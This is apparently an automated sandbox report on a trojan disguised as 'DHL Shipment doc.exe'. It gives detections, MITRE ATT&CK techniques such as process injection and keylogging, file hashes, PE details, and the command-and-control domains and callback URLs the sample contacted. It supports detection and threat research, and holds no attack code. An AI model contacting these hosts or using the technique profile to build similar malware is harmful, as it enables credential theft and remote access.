Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Queries volume information: C:\Users\user\Desktop\DHL Shipment doc.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipment doc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Source: Yara match	File source: 3.0.DHL Shipment doc.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.DHL Shipment doc.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.DHL Shipment doc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.DHL Shipment doc.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.DHL Shipment doc.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.DHL Shipment doc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.DHL Shipment doc.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.738326469.0000000006C0D000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.941125718.0000000004B60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.804375407.00000000016D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.689082555.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.720424753.0000000006C0D000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.940941423.0000000004B30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.797281686.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.688266335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.799667944.0000000001360000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.938025961.0000000000E90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.693081041.0000000004419000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Source: Yara match	File source: 3.0.DHL Shipment doc.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.DHL Shipment doc.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.DHL Shipment doc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.DHL Shipment doc.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.DHL Shipment doc.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.DHL Shipment doc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.DHL Shipment doc.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.738326469.0000000006C0D000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.941125718.0000000004B60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.804375407.00000000016D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.689082555.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.720424753.0000000006C0D000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.940941423.0000000004B30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.797281686.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.688266335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.799667944.0000000001360000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.938025961.0000000000E90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.693081041.0000000004419000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Shared Modules	1 DLL Side-Loading	512 Process Injection	1 Masquerading	1 Input Capture	221 Security Software Discovery	Remote Services	1 Input Capture	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	11 Archive Collected Data	Exfiltration Over Bluetooth	3 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	512 Process Injection	NTDS	1 Remote System Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	13 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	112 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	4 Obfuscated Files or Information	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	13 Software Packing	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 DLL Side-Loading	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 File Deletion	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
DHL Shipment doc.exe	35%	ReversingLabs	Win32.Trojan.Swotter
DHL Shipment doc.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
3.0.DHL Shipment doc.exe.400000.4.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
3.0.DHL Shipment doc.exe.400000.6.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
3.2.DHL Shipment doc.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
3.0.DHL Shipment doc.exe.400000.8.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
www.floridanratraining.com/how6/	100%	Avira URL Cloud	malware
http://www.metronixmedical.com/how6/?W6vtR=eO7AK5UTSuqTcoXAE4JKPt5tOBv6nnmPk0M2G0ISpIO4jWwGwHlgDwMnGUt6OvGQoWpI&pN6=9ri0dbnPLFLdd	0%	Avira URL Cloud	safe
http://www.solatopotato.com/how6/?W6vtR=4EPEhjHsb2zicvYNP8lD0qzrINMa8IRsv4Cq+fHosD6XE0pK2EAVk/7C/sJ+vhveOIRa&pN6=9ri0dbnPLFLdd	0%	Avira URL Cloud	safe
http://www.auctions.email/how6/?W6vtR=0inXDaq5MxudMpH6GZOYsbvs/BtQ0SlGgc0yMNKfti2SPFqDmOiUae5rQ5wMEYlWCo0z&pN6=9ri0dbnPLFLdd	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.metronixmedical.com	35.213.137.92	true	false	unknown
webfactory.agency	34.102.136.180	true	true	unknown
solatopotato.com	81.169.145.72	true	true	unknown
www.adwin-estate.com	37.140.192.43	true	true	unknown
www.auctions.email	64.190.62.111	true	true	unknown
www.bbgm4egda.xyz	unknown	unknown	true	unknown
www.webfactory.agency	unknown	unknown	true	unknown
www.solatopotato.com	unknown	unknown	true	unknown
www.klopert77.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
www.floridanratraining.com/how6/	true	Avira URL Cloud: malware	low
http://www.metronixmedical.com/how6/?W6vtR=eO7AK5UTSuqTcoXAE4JKPt5tOBv6nnmPk0M2G0ISpIO4jWwGwHlgDwMnGUt6OvGQoWpI&pN6=9ri0dbnPLFLdd	false	Avira URL Cloud: safe	unknown
http://www.solatopotato.com/how6/?W6vtR=4EPEhjHsb2zicvYNP8lD0qzrINMa8IRsv4Cq+fHosD6XE0pK2EAVk/7C/sJ+vhveOIRa&pN6=9ri0dbnPLFLdd	true	Avira URL Cloud: safe	unknown
http://www.auctions.email/how6/?W6vtR=0inXDaq5MxudMpH6GZOYsbvs/BtQ0SlGgc0yMNKfti2SPFqDmOiUae5rQ5wMEYlWCo0z&pN6=9ri0dbnPLFLdd	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
81.169.145.72	solatopotato.com	Germany	6724	STRATOSTRATOAGDE	true
35.213.137.92	www.metronixmedical.com	United States	15169	GOOGLEUS	false
64.190.62.111	www.auctions.email	United States	11696	NBS11696US	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	568428
Start date:	08.02.2022
Start time:	11:20:36
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	DHL Shipment doc.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@12/1@7/4
EGA Information:	Successful, ratio: 75%
HDC Information:	Successful, ratio: 23% (good quality ratio 20.7%) Quality average: 70.6% Quality standard deviation: 32.3%
HCA Information:	Successful, ratio: 100% Number of executed functions: 60 Number of non-executed functions: 130
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, WerFault.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe
Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, store-images.s-microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
Execution Graph export aborted for target DHL Shipment doc.exe, PID 5820 because there are no executed function
Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

Time	Type	Description
11:21:38	API Interceptor	1x Sleep call for process: DHL Shipment doc.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
81.169.145.72	DRAFT BILL OF LADING S2105860598.exe	Get hash	malicious	Browse	www.greencrowns.net/mc6b/?6l9=tpNj4PjXoKWCsmm1Y6MR7HF8CUHGesrjjdgatdbLN+CAnZUlSrcA+B/aerLHVANnn/4x&A0Dxkn=lZSl
	DHL - FINAL REMINDER -Receiver Address verification.exe	Get hash	malicious	Browse	www.solatopotato.com/s6ap/?E2Mlq2x=okyxdAp+W67+fAYowcnO6UQ0Kr6FK72FyoQineJing55OW83TSWJUcsTCsRP5GOWD7ZgqtuoBw==&1b6tX=ChPDHL
	Swift Copy.exe	Get hash	malicious	Browse	www.mademommyproud.com/eods/?aBC8lvE=KVfb1sso6bW67nogjanaap/bozo2JbafojZUFGUzExzuZC7846Rtg3ForN4hCG2lsCAc&G4=Tbut2rPX
	SOA.exe	Get hash	malicious	Browse	www.mademommyproud.com/eods/?O6Ahsf=cTvhJXFXfVEpb4hp&0488qv=KVfb1sso6bW67nogjanaap/bozo2JbafojZUFGUzExzuZC7846Rtg3ForN4hCG2lsCAc
	VSP-88D-Neo1-F YX20210315086 KSAI21061536.xlsx	Get hash	malicious	Browse	www.my-ela.com/bp3i/?B6d=x3Xsx3kC7fI6l4kxK35QZMI5K2UCf+f3EJo6s08DD7agpFQ+QRU8y+xFC1ojc+C/Sn3r+A==&dtxhA=pTk8BXLpbZoXfRy
	gz7dLhKlSQ.exe	Get hash	malicious	Browse	www.my-ela.com/bp3i/?8pjLfJ=v0GHdtb8o&cHkLWBhh=x3Xsx3kH7YI+loo9I35QZMI5K2UCf+f3EJwqw3gCHbahp084XBFwk6JHBTocbu60QHfNn33qWA==
	PO 1032123 - 1032503.xlsx	Get hash	malicious	Browse	www.my-ela.com/bp3i/?-ZY=g0DPJLJPFVAh&aJE0xXq=x3Xsx3kC7fI6l4kxK35QZMI5K2UCf+f3EJo6s08DD7agpFQ+QRU8y+xFC1ojc+C/Sn3r+A==
	don.exe	Get hash	malicious	Browse	www.missjeschickt.com/uoe8/?Y4plXns=4x9Go+G4sQK1bPcn4vkzPWadXV0GNuVhhd/eQWnbDPmuQCX7Nztt7R8hTxXUs1RW0ALQ&BR=cjlpd
	O1E623TjjW.exe	Get hash	malicious	Browse	www.missjeschickt.com/uoe8/?hL3=4x9Go+G4sQK1bPcn4vkzPWadXV0GNuVhhd/eQWnbDPmuQCX7Nztt7R8hTy7EwENtz1iBaXiPwQ==&lN68=VTUTzPuXE25p9L
	NdBLyH2h5d.exe	Get hash	malicious	Browse	www.missjeschickt.com/uoe8/?Dnh8=4x9Go+G4sQK1bPcn4vkzPWadXV0GNuVhhd/eQWnbDPmuQCX7Nztt7R8hTxXUs1RW0ALQ&pPB=K2MxltkHBDK4hDMp
	2pA9qt1vU4.exe	Get hash	malicious	Browse	www.missjeschickt.com/uoe8/?pRjTvn0p=4x9Go+G4sQK1bPcn4vkzPWadXV0GNuVhhd/eQWnbDPmuQCX7Nztt7R8hTxXUs1RW0ALQ&EZW47R=Ib98bPKxhna4
	RPI_Scanned_30957.doc	Get hash	malicious	Browse	www.laurenslatour.com/gypo/?ZVahUNV8=Zpp16v3hBE/ydNxzNUca7g+2/lQ/iuA5hfKDUGzUCcVglizxaFIKYZJEmGSw3WmPDo63ZA==&2dLp=ZXj8X2Kp-2C
	http://track8989.org/Login.php?websrc=59c275dc2e97dd3b896ed4ff2b82a8fd&dispatched=29&id=586344239	Get hash	malicious	Browse	track8989.org/data/boot.worldwide.mouse.css
	EMOTET.doc	Get hash	malicious	Browse	bellery.fr/eLQlnvwR/
	EMOTET.doc	Get hash	malicious	Browse	bellery.fr/eLQlnvwR/
	Emotet.doc	Get hash	malicious	Browse	bellery.fr/eLQlnvwR/
	Emotet.doc	Get hash	malicious	Browse	bellery.fr/eLQlnvwR/
	65Payment Cop.exe	Get hash	malicious	Browse	www.threecentopera.com/by/?id=wqZcY8Xqz3HrqhyMYFf/3YK5dxAR85cx/tNAAHia2F9t2q8akOLmvJhh0ArjLduULopTjQrDeMQCXIR3PaAK9w==&sql=1
	http://bit.do/dL82w	Get hash	malicious	Browse	mijnloginapplherstelprocedurecontrole.ketal.eu/assets/img/favicon.ico

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
www.adwin-estate.com	Payment Slip.exe	Get hash	malicious	Browse	37.140.192.43
www.auctions.email	FedEx Documents.exe	Get hash	malicious	Browse	64.190.62.111

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
STRATOSTRATOAGDE	Message-07022022.xlsm	Get hash	malicious	Browse	85.214.67.203
	MES_149.xls	Get hash	malicious	Browse	85.214.67.203
	uLLP5JQDl4.dll	Get hash	malicious	Browse	85.214.67.203
	report_08022022.xls	Get hash	malicious	Browse	85.214.67.203
	M73uu7dIVa.dll	Get hash	malicious	Browse	85.214.67.203
	ukoZR9NEJc.dll	Get hash	malicious	Browse	85.214.67.203
	oHwsazqqz4.dll	Get hash	malicious	Browse	85.214.67.203
	bLBLLZ.dll	Get hash	malicious	Browse	85.214.67.203
	Milossd.dll	Get hash	malicious	Browse	85.214.67.203
	Data73577577.xlsm	Get hash	malicious	Browse	85.214.67.203
	Notice0802.xlsm	Get hash	malicious	Browse	85.214.67.203
	report 480187140.xlsm	Get hash	malicious	Browse	85.214.67.203
	DETAILS-08022022.xlsm	Get hash	malicious	Browse	85.214.67.203
	tIq0CYj6Ym.dll	Get hash	malicious	Browse	85.214.67.203
	E57ulQiwAe.dll	Get hash	malicious	Browse	85.214.67.203
	pack-0702.xlsm	Get hash	malicious	Browse	85.214.67.203
	lpvFWzd2vF.dll	Get hash	malicious	Browse	85.214.67.203
	h86SjlxQbm.dll	Get hash	malicious	Browse	85.214.67.203
	aTJAxhQs13.dll	Get hash	malicious	Browse	85.214.67.203
	VJndf5eO5Z.dll	Get hash	malicious	Browse	85.214.67.203
NBS11696US	shipping_doc.exe	Get hash	malicious	Browse	64.190.62.111
	7bDKLSjI83.exe	Get hash	malicious	Browse	64.190.62.111
	armv5l	Get hash	malicious	Browse	64.33.213.171
	ry1Ogjy3LW.exe	Get hash	malicious	Browse	64.190.62.111
	SCAMPMT.EXE	Get hash	malicious	Browse	64.190.62.111
	7Gvxve2nGj.exe	Get hash	malicious	Browse	64.190.62.111
	DSS INVITATION.exe	Get hash	malicious	Browse	64.190.62.111
	n1zBrIn67t.exe	Get hash	malicious	Browse	64.190.62.111
	REF-NO-SCML121268.exe	Get hash	malicious	Browse	64.190.62.111
	RFQ_Order_PO_TAE5203E.xlsx	Get hash	malicious	Browse	64.190.62.111
	11034485939234.exe	Get hash	malicious	Browse	64.190.62.111
	shipping_doc_0000000020122021.xlsx	Get hash	malicious	Browse	64.190.62.111
	g1STq32s3M.exe	Get hash	malicious	Browse	64.190.62.111
	J0iq7lHf3R.exe	Get hash	malicious	Browse	64.190.62.111
	DjdaIUiWIt.exe	Get hash	malicious	Browse	64.190.62.111
	lBpxJoOTRL.exe	Get hash	malicious	Browse	64.190.62.111
	Ppx38Gkyeg.exe	Get hash	malicious	Browse	64.190.63.136
	vbc (1).exe	Get hash	malicious	Browse	64.190.62.111
	20589647.doc	Get hash	malicious	Browse	64.190.62.111
	7mA34yRaU1.exe	Get hash	malicious	Browse	64.190.62.111

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DHL Shipment doc.exe.log

Download File

Process:	C:\Users\user\Desktop\DHL Shipment doc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1310
Entropy (8bit):	5.345651901398759
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE47mE4Ko88:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKz6
MD5:	D918C6A765EDB90D2A227FE23A3FEC98
SHA1:	8BA802AD8D740F114783F0DADC407CBFD2A209B3
SHA-256:	AB0E9F716E31502A4C6786575C5E64DFD9D24AF99056BBE2640A2FA322CFF4D6
SHA-512:	A937ABD8294BB32A612F8B3A376C94111D688379F0A4DB9FAA2FCEB71C25E18D621EEBCFDA5706B71C8473A4F38D8B3C4005D1589B564F9B1C9C441B6D337814
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.701844807359983
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01%
File name:	DHL Shipment doc.exe
File size:	550912
MD5:	4f0d2852d2aad43eddf9416661933701
SHA1:	abe4f65cc594a4c217a65486c3025832fe037161
SHA256:	45469e46b7281b1f1c74cbd1953e47121a233462b7ab0db7b8346c5b7b3dfa1c
SHA512:	18953eb90af6fe26fab093471379541bbf82b99ec06a586d8d0c7093076921cc971b7d4f627305f3c58eb36cae0d566d00cb38acf130509933eaa6dc78102981
SSDEEP:	12288:gFJGB4ay527F6OgOvJxgkMWK0EwL8DR4xlIdXl2u:gLmF5/ovx0EwLGyxiJ8
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?Q...................&...>.......D... ...`....@.. ....................................@................................

File Icon


Icon Hash:	88c4e0d2742c5402

Static PE Info

General

Entrypoint:	0x48449e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x9CDF513F [Mon May 26 14:03:43 2053 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x84450	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x88000	0x38b8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x8c000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x843f9	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

